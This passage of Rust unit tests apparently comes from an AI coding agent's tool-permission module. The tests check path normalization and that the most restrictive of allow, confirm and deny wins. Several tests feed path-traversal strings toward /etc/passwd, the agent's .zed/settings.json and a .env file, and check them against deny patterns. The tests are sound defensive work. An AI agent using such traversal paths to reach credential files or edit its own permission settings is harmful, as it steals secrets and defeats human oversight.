1976 assert_eq!(normalize_path(""), "");
1977 }
1978
1979 #[test]
1980 fn normalize_path_relative_traversal_above_start() {
1981 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1982 }
1983
1984 #[test]
1985 fn normalize_path_relative_traversal_with_curdir() {
1986 assert_eq!(normalize_path("../../."), "../..");
1987 }
1988
1989 #[test]
1990 fn normalize_path_relative_partial_traversal_above_start() {
1991 assert_eq!(normalize_path("foo/../../bar"), "../bar");
1992 }
1993
1994 #[test]
1995 fn most_restrictive_deny_vs_allow() {
1996 assert!(matches!(
1997 most_restrictive(
1998 ToolPermissionDecision::Deny("x".into()),
1999 ToolPermissionDecision::Allow
2000 ),
2001 ToolPermissionDecision::Deny(_)
2002 ));
2003 }
2004
2005 #[test]
2006 fn most_restrictive_allow_vs_deny() {
2007 assert!(matches!(
2008 most_restrictive(
2009 ToolPermissionDecision::Allow,
2010 ToolPermissionDecision::Deny("x".into())
2011 ),
2012 ToolPermissionDecision::Deny(_)
2013 ));
2014 }
2015
2016 #[test]
2017 fn most_restrictive_deny_vs_confirm() {
2018 assert!(matches!(
2019 most_restrictive(
2020 ToolPermissionDecision::Deny("x".into()),
2021 ToolPermissionDecision::Confirm
2022 ),
2023 ToolPermissionDecision::Deny(_)
2024 ));
2025 }
2026
2027 #[test]
2028 fn most_restrictive_confirm_vs_deny() {
2029 assert!(matches!(
2030 most_restrictive(
2031 ToolPermissionDecision::Confirm,
2032 ToolPermissionDecision::Deny("x".into())
2033 ),
2034 ToolPermissionDecision::Deny(_)
2035 ));
2036 }
2037
2038 #[test]
2039 fn most_restrictive_deny_vs_deny() {
2040 assert!(matches!(
2041 most_restrictive(
2042 ToolPermissionDecision::Deny("a".into()),
2043 ToolPermissionDecision::Deny("b".into())
2044 ),
2045 ToolPermissionDecision::Deny(_)
2046 ));
2047 }
2048
2049 #[test]
2050 fn most_restrictive_confirm_vs_allow() {
2051 assert_eq!(
2052 most_restrictive(
2053 ToolPermissionDecision::Confirm,
2054 ToolPermissionDecision::Allow
2055 ),
2056 ToolPermissionDecision::Confirm
2057 );
2058 }
2059
2060 #[test]
2061 fn most_restrictive_allow_vs_confirm() {
2062 assert_eq!(
2063 most_restrictive(
2064 ToolPermissionDecision::Allow,
2065 ToolPermissionDecision::Confirm
2066 ),
2067 ToolPermissionDecision::Confirm
2068 );
2069 }
2070
2071 #[test]
2072 fn most_restrictive_allow_vs_allow() {
2073 assert_eq!(
2074 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2075 ToolPermissionDecision::Allow
2076 );
2077 }
2078
2079 #[test]
2080 fn decide_permission_for_path_no_dots_early_return() {
2081 // When the path has no `.` or `..`, normalize_path returns the same string,
2082 // so decide_permission_for_path returns the raw decision directly.
2083 let settings = test_agent_settings(ToolPermissions {
2084 default: ToolPermissionMode::Confirm,
2085 tools: Default::default(),
2086 });
2087 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2088 assert_eq!(decision, ToolPermissionDecision::Confirm);
2089 }
2090
2091 #[test]
2092 fn decide_permission_for_path_traversal_triggers_deny() {
2093 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2094 let mut tools = collections::HashMap::default();
2095 tools.insert(
2096 Arc::from(EditFileTool::NAME),
2097 ToolRules {
2098 default: Some(ToolPermissionMode::Allow),
2099 always_allow: vec![],
2100 always_deny: vec![deny_regex],
2101 always_confirm: vec![],
2102 invalid_patterns: vec![],
2103 },
2104 );
2105 let settings = test_agent_settings(ToolPermissions {
2106 default: ToolPermissionMode::Confirm,
2107 tools,
2108 });
2109
2110 let decision =
2111 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2112 assert!(
2113 matches!(decision, ToolPermissionDecision::Deny(_)),
2114 "expected Deny for traversal to /etc/passwd, got {:?}",
2115 decision
2116 );
2117 }
2118
2119 #[test]
2120 fn normalize_path_collapses_dot_segments() {
2121 assert_eq!(
2122 normalize_path("src/../.zed/settings.json"),
2123 ".zed/settings.json"
2124 );
2125 assert_eq!(normalize_path("a/b/../c"), "a/c");
2126 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2127 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2128 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2129 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2130 }
2131
2132 #[test]
2133 fn normalize_path_handles_multiple_parent_dirs() {
2134 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2135 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2136 }
2137
2138 fn path_perm(
2139 tool: &str,
2140 input: &str,
2141 deny: &[&str],
2142 allow: &[&str],
2143 confirm: &[&str],
2144 ) -> ToolPermissionDecision {
2145 let mut tools = collections::HashMap::default();
2146 tools.insert(
2147 Arc::from(tool),
2148 ToolRules {
2149 default: None,
2150 always_allow: allow
2151 .iter()
2152 .map(|p| {
2153 CompiledRegex::new(p, false)
2154 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2155 })
2156 .collect(),
2157 always_deny: deny
2158 .iter()
2159 .map(|p| {
2160 CompiledRegex::new(p, false)
2161 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2162 })
2163 .collect(),
2164 always_confirm: confirm
2165 .iter()
2166 .map(|p| {
2167 CompiledRegex::new(p, false)
2168 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2169 })
2170 .collect(),
2171 invalid_patterns: vec![],
2172 },
2173 );
2174 let permissions = ToolPermissions {
2175 default: ToolPermissionMode::Confirm,
2176 tools,
2177 };
2178 let raw_decision = ToolPermissionDecision::from_input(
2179 tool,
2180 &[input.to_string()],
2181 &permissions,
2182 ShellKind::Posix,
2183 );
2184
2185 let simplified = normalize_path(input);
2186 if simplified == input {
2187 return raw_decision;
2188 }
2189
2190 let simplified_decision =
2191 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2192
2193 most_restrictive(raw_decision, simplified_decision)
2194 }
2195
2196 #[test]
2197 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2198 let decision = path_perm(
2199 "copy_path",
2200 "src/../.zed/settings.json",
2201 &["^\\.zed/"],
2202 &[],
2203 &[],
2204 );
2205 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2206 }
2207
2208 #[test]
2209 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2210 let decision = path_perm(
2211 "copy_path",
2212 "src/../.zed/settings.json",
2213 &[],
2214 &[],
2215 &["^\\.zed/"],
2216 );
2217 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2218 }
2219
2220 #[test]
2221 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2222 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2223 assert!(matches!(decision, ToolPermissionDecision::Allow));
2224 }
2225
2226 #[test]
2227 fn decide_permission_for_path_most_restrictive_wins() {
2228 let decision = path_perm(
2229 "copy_path",
2230 "allowed/../.zed/settings.json",
2231 &["^\\.zed/"],
2232 &["^allowed/"],
2233 &[],
2234 );
2235 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2236 }
2237
2238 #[test]
2239 fn decide_permission_for_path_dot_segment_only() {
2240 let decision = path_perm(
2241 "delete_path",
2242 "./.zed/settings.json",
2243 &["^\\.zed/"],
2244 &[],
2245 &[],
2246 );
2247 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2248 }
2249
2250 #[test]
2251 fn decide_permission_for_path_no_change_when_already_simple() {
2252 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2253 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2254 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2255 }
2256
2257 #[test]
2258 fn decide_permission_for_path_raw_deny_still_works() {
2259 // Even without traversal, if the raw path itself matches deny, it's denied
2260 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2261 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2262 }
2263
2264 #[test]
2265 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2266 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2267 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2268 }
2269}